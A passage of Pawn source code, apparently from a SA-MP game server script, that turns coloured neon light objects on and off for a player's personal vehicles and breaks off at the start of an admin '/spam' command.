		  //AttachObjectToVehicle(CarNeons[vehicleid][18], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][19], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{FF00CC}Pink{F5DEB3} neon toggled for personal vehicle 2.");
		}
		if(neonz == 18650)// Yellow
		{
		  CarNeons[vehicleid][20] = CreateObject(18650,0,0,0,0,0,0);
		  CarNeons[vehicleid][21] = CreateObject(18650,0,0,0,0,0,0);
		  CarNeons[vehicleid][22] = CreateObject(18650,0,0,0,0,0,0);
		  CarNeons[vehicleid][23] = CreateObject(18650,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][20], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][21], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][22], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][23], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{FFFF00}Yellow{F5DEB3} neon toggled for personal vehicle 2.");
		}
		}
		}
		if(PINFO[playerid][pCar_3] == vehicleid)
		{
		if(vInfo[PINFO[playerid][pVeh3]][cNeon] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: This vehicle hasn't neon.");
		if(IsVehicleNeoned(vehicleid))
		{
		for(new i = 0; i < 24; i++)
	    {
		  DestroyObject(CarNeons[vehicleid][i]);
		}
		SCM(playerid, COLOR_SINARANG, "Neon toggled for personal vehicle 3.");
		VehicleNeon[vehicleid] = 0;
		}
		else
		{
		new neonz = vInfo[PINFO[playerid][pVeh3]][cNeon];
		if(neonz == 18648)// Blue
		{
		  CarNeons[vehicleid][0] = CreateObject(18648,0,0,0,0,0,0);
		  CarNeons[vehicleid][1] = CreateObject(18648,0,0,0,0,0,0);
		  CarNeons[vehicleid][2] = CreateObject(18648,0,0,0,0,0,0);
		  CarNeons[vehicleid][3] = CreateObject(18648,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][0], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][1], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][2], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][3], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{0000FF}Blue{F5DEB3} neon toggled for personal vehicle 3.");
		}
		if(neonz == 18647)// Red
		{
		  CarNeons[vehicleid][4] = CreateObject(18647,0,0,0,0,0,0);
		  CarNeons[vehicleid][5] = CreateObject(18647,0,0,0,0,0,0);
		  CarNeons[vehicleid][6] = CreateObject(18647,0,0,0,0,0,0);
		  CarNeons[vehicleid][7] = CreateObject(18647,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][4], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][5], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][6], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][7], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{FF0000}Red{F5DEB3} neon toggled for personal vehicle 3.");
		}
		if(neonz == 18649)// Green
		{
		  CarNeons[vehicleid][8] = CreateObject(18649,0,0,0,0,0,0);
		  CarNeons[vehicleid][9] = CreateObject(18649,0,0,0,0,0,0);
		  CarNeons[vehicleid][0] = CreateObject(18649,0,0,0,0,0,0);
		  CarNeons[vehicleid][10] = CreateObject(18649,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][8], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][9], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][10], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][11], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{00FF00}Green{F5DEB3} neon toggled for personal vehicle 3.");
		}
		if(neonz == 18652)// White
		{
		  CarNeons[vehicleid][12] = CreateObject(18652,0,0,0,0,0,0);
		  CarNeons[vehicleid][13] = CreateObject(18652,0,0,0,0,0,0);
		  CarNeons[vehicleid][14] = CreateObject(18652,0,0,0,0,0,0);
		  CarNeons[vehicleid][15] = CreateObject(18652,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][12], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][13], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][14], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][15], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{FFFFFF}White{F5DEB3} neon toggled for personal vehicle 3.");
		}
		if(neonz == 18651)// Pink
		{
		  CarNeons[vehicleid][16] = CreateObject(18651,0,0,0,0,0,0);
		  CarNeons[vehicleid][17] = CreateObject(18651,0,0,0,0,0,0);
		  CarNeons[vehicleid][18] = CreateObject(18651,0,0,0,0,0,0);
		  CarNeons[vehicleid][19] = CreateObject(18651,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][16], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][17], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][18], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][19], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{FF00CC}Pink{F5DEB3} neon toggled for personal vehicle 3.");
		}
		if(neonz == 18650)// Yellow
		{
		  CarNeons[vehicleid][20] = CreateObject(18650,0,0,0,0,0,0);
		  CarNeons[vehicleid][21] = CreateObject(18650,0,0,0,0,0,0);
		  CarNeons[vehicleid][22] = CreateObject(18650,0,0,0,0,0,0);
		  CarNeons[vehicleid][23] = CreateObject(18650,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][20], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][21], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][22], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][23], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{FFFF00}Yellow{F5DEB3} neon toggled for personal vehicle 3.");
		}
		}
		}
		if(PINFO[playerid][pCar_4] == vehicleid)
		{
		if(vInfo[PINFO[playerid][pVeh4]][cNeon] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: This vehicle hasn't neon.");
		if(IsVehicleNeoned(vehicleid))
		{
		for(new i = 0; i < 24; i++)
	    {
		  DestroyObject(CarNeons[vehicleid][i]);
		}
		SCM(playerid, COLOR_SINARANG, "Neon toggled for personal vehicle 4.");
		VehicleNeon[vehicleid] = 0;
		}
		else
		{
		new neonz = vInfo[PINFO[playerid][pVeh4]][cNeon];
		if(neonz == 18648)// Blue
		{
		  CarNeons[vehicleid][0] = CreateObject(18648,0,0,0,0,0,0);
		  CarNeons[vehicleid][1] = CreateObject(18648,0,0,0,0,0,0);
		  CarNeons[vehicleid][2] = CreateObject(18648,0,0,0,0,0,0);
		  CarNeons[vehicleid][3] = CreateObject(18648,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][0], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][1], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][2], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][3], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{0000FF}Blue{F5DEB3} neon toggled for personal vehicle 4.");
		}
		if(neonz == 18647)// Red
		{
		  CarNeons[vehicleid][4] = CreateObject(18647,0,0,0,0,0,0);
		  CarNeons[vehicleid][5] = CreateObject(18647,0,0,0,0,0,0);
		  CarNeons[vehicleid][6] = CreateObject(18647,0,0,0,0,0,0);
		  CarNeons[vehicleid][7] = CreateObject(18647,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][4], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][5], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][6], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][7], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{FF0000}Red{F5DEB3} neon toggled for personal vehicle 4.");
		}
		if(neonz == 18649)// Green
		{
		  CarNeons[vehicleid][8] = CreateObject(18649,0,0,0,0,0,0);
		  CarNeons[vehicleid][9] = CreateObject(18649,0,0,0,0,0,0);
		  CarNeons[vehicleid][0] = CreateObject(18649,0,0,0,0,0,0);
		  CarNeons[vehicleid][10] = CreateObject(18649,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][8], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][9], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][10], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][11], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{00FF00}Green{F5DEB3} neon toggled for personal vehicle 4.");
		}
		if(neonz == 18652)// White
		{
		  CarNeons[vehicleid][12] = CreateObject(18652,0,0,0,0,0,0);
		  CarNeons[vehicleid][13] = CreateObject(18652,0,0,0,0,0,0);
		  CarNeons[vehicleid][14] = CreateObject(18652,0,0,0,0,0,0);
		  CarNeons[vehicleid][15] = CreateObject(18652,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][12], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][13], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][14], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][15], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{FFFFFF}White{F5DEB3} neon toggled for personal vehicle 4.");
		}
		if(neonz == 18651)// Pink
		{
		  CarNeons[vehicleid][16] = CreateObject(18651,0,0,0,0,0,0);
		  CarNeons[vehicleid][17] = CreateObject(18651,0,0,0,0,0,0);
		  CarNeons[vehicleid][18] = CreateObject(18651,0,0,0,0,0,0);
		  CarNeons[vehicleid][19] = CreateObject(18651,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][16], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][17], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][18], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][19], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{FF00CC}Pink{F5DEB3} neon toggled for personal vehicle 4.");
		}
		if(neonz == 18650)// Yellow
		{
		  CarNeons[vehicleid][20] = CreateObject(18650,0,0,0,0,0,0);
		  CarNeons[vehicleid][21] = CreateObject(18650,0,0,0,0,0,0);
		  CarNeons[vehicleid][22] = CreateObject(18650,0,0,0,0,0,0);
		  CarNeons[vehicleid][23] = CreateObject(18650,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][20], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][21], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][22], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][23], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{FFFF00}Yellow{F5DEB3} neon toggled for personal vehicle 4.");
		}
		}
		}
		if(PINFO[playerid][pCar_5] == vehicleid)
		{
		if(vInfo[PINFO[playerid][pVeh5]][cNeon] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: This vehicle hasn't neon.");
		if(IsVehicleNeoned(vehicleid))
		{
		for(new i = 0; i < 24; i++)
	    {
		  DestroyObject(CarNeons[vehicleid][i]);
		}
		SCM(playerid, COLOR_SINARANG, "Neon toggled for personal vehicle 5.");
		VehicleNeon[vehicleid] = 0;
		}
		else
		{
		new neonz = vInfo[PINFO[playerid][pVeh5]][cNeon];
		if(neonz == 18648)// Blue
		{
		  CarNeons[vehicleid][0] = CreateObject(18648,0,0,0,0,0,0);
		  CarNeons[vehicleid][1] = CreateObject(18648,0,0,0,0,0,0);
		  CarNeons[vehicleid][2] = CreateObject(18648,0,0,0,0,0,0);
		  CarNeons[vehicleid][3] = CreateObject(18648,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][0], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][1], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][2], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][3], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{0000FF}Blue{F5DEB3} neon toggled for personal vehicle 5.");
		}
		if(neonz == 18647)// Red
		{
		  CarNeons[vehicleid][4] = CreateObject(18647,0,0,0,0,0,0);
		  CarNeons[vehicleid][5] = CreateObject(18647,0,0,0,0,0,0);
		  CarNeons[vehicleid][6] = CreateObject(18647,0,0,0,0,0,0);
		  CarNeons[vehicleid][7] = CreateObject(18647,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][4], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][5], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][6], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][7], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{FF0000}Red{F5DEB3} neon toggled for personal vehicle 5.");
		}
		if(neonz == 18649)// Green
		{
		  CarNeons[vehicleid][8] = CreateObject(18649,0,0,0,0,0,0);
		  CarNeons[vehicleid][9] = CreateObject(18649,0,0,0,0,0,0);
		  CarNeons[vehicleid][0] = CreateObject(18649,0,0,0,0,0,0);
		  CarNeons[vehicleid][10] = CreateObject(18649,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][8], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][9], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][10], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][11], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{00FF00}Green{F5DEB3} neon toggled for personal vehicle 5.");
		}
		if(neonz == 18652)// White
		{
		  CarNeons[vehicleid][12] = CreateObject(18652,0,0,0,0,0,0);
		  CarNeons[vehicleid][13] = CreateObject(18652,0,0,0,0,0,0);
		  CarNeons[vehicleid][14] = CreateObject(18652,0,0,0,0,0,0);
		  CarNeons[vehicleid][15] = CreateObject(18652,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][12], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][13], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][14], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][15], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{FFFFFF}White{F5DEB3} neon toggled for personal vehicle 5.");
		}
		if(neonz == 18651)// Pink
		{
		  CarNeons[vehicleid][16] = CreateObject(18651,0,0,0,0,0,0);
		  CarNeons[vehicleid][17] = CreateObject(18651,0,0,0,0,0,0);
		  CarNeons[vehicleid][18] = CreateObject(18651,0,0,0,0,0,0);
		  CarNeons[vehicleid][19] = CreateObject(18651,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][16], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][17], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][18], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][19], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{FF00CC}Pink{F5DEB3} neon toggled for personal vehicle 5.");
		}
		if(neonz == 18650)// Yellow
		{
		  CarNeons[vehicleid][20] = CreateObject(18650,0,0,0,0,0,0);
		  CarNeons[vehicleid][21] = CreateObject(18650,0,0,0,0,0,0);
		  CarNeons[vehicleid][22] = CreateObject(18650,0,0,0,0,0,0);
		  CarNeons[vehicleid][23] = CreateObject(18650,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][20], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][21], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][22], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][23], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{FFFF00}Yellow{F5DEB3} neon toggled for personal vehicle 5.");
		}
		}
		}
		if(PINFO[playerid][pCar_6] == vehicleid)
		{
		if(vInfo[PINFO[playerid][pVeh6]][cNeon] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: This vehicle hasn't neon.");
		if(IsVehicleNeoned(vehicleid))
		{
		for(new i = 0; i < 24; i++)
	    {
		  DestroyObject(CarNeons[vehicleid][i]);
		}
		SCM(playerid, COLOR_SINARANG, "Neon toggled for personal vehicle 6.");
		VehicleNeon[vehicleid] = 0;
		}
		else
		{
		new neonz = vInfo[PINFO[playerid][pVeh6]][cNeon];
		if(neonz == 18648)// Blue
		{
		  CarNeons[vehicleid][0] = CreateObject(18648,0,0,0,0,0,0);
		  CarNeons[vehicleid][1] = CreateObject(18648,0,0,0,0,0,0);
		  CarNeons[vehicleid][2] = CreateObject(18648,0,0,0,0,0,0);
		  CarNeons[vehicleid][3] = CreateObject(18648,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][0], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][1], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][2], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][3], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{0000FF}Blue{F5DEB3} neon toggled for personal vehicle 6.");
		}
		if(neonz == 18647)// Red
		{
		  CarNeons[vehicleid][4] = CreateObject(18647,0,0,0,0,0,0);
		  CarNeons[vehicleid][5] = CreateObject(18647,0,0,0,0,0,0);
		  CarNeons[vehicleid][6] = CreateObject(18647,0,0,0,0,0,0);
		  CarNeons[vehicleid][7] = CreateObject(18647,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][4], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][5], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][6], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][7], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{FF0000}Red{F5DEB3} neon toggled for personal vehicle 6.");
		}
		if(neonz == 18649)// Green
		{
		  CarNeons[vehicleid][8] = CreateObject(18649,0,0,0,0,0,0);
		  CarNeons[vehicleid][9] = CreateObject(18649,0,0,0,0,0,0);
		  CarNeons[vehicleid][0] = CreateObject(18649,0,0,0,0,0,0);
		  CarNeons[vehicleid][10] = CreateObject(18649,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][8], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][9], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][10], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][11], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{00FF00}Green{F5DEB3} neon toggled for personal vehicle 6.");
		}
		if(neonz == 18652)// White
		{
		  CarNeons[vehicleid][12] = CreateObject(18652,0,0,0,0,0,0);
		  CarNeons[vehicleid][13] = CreateObject(18652,0,0,0,0,0,0);
		  CarNeons[vehicleid][14] = CreateObject(18652,0,0,0,0,0,0);
		  CarNeons[vehicleid][15] = CreateObject(18652,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][12], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][13], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][14], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][15], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{FFFFFF}White{F5DEB3} neon toggled for personal vehicle 6.");
		}
		if(neonz == 18651)// Pink
		{
		  CarNeons[vehicleid][16] = CreateObject(18651,0,0,0,0,0,0);
		  CarNeons[vehicleid][17] = CreateObject(18651,0,0,0,0,0,0);
		  CarNeons[vehicleid][18] = CreateObject(18651,0,0,0,0,0,0);
		  CarNeons[vehicleid][19] = CreateObject(18651,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][16], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][17], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][18], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][19], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{FF00CC}Pink{F5DEB3} neon toggled for personal vehicle 6.");
		}
		if(neonz == 18650)// Yellow
		{
		  CarNeons[vehicleid][20] = CreateObject(18650,0,0,0,0,0,0);
		  CarNeons[vehicleid][21] = CreateObject(18650,0,0,0,0,0,0);
		  CarNeons[vehicleid][22] = CreateObject(18650,0,0,0,0,0,0);
		  CarNeons[vehicleid][23] = CreateObject(18650,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][20], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][21], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][22], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][23], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{FFFF00}Yellow{F5DEB3} neon toggled for personal vehicle 6.");
		}
		}
		}
		return 1;
		}
		if(strcmp(cmd, "/spam", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 13) return SCM(playerid, COLOR_YELLOW2, "Error: Unknown command.");
        tmp = strtok(cmdtext, idx);
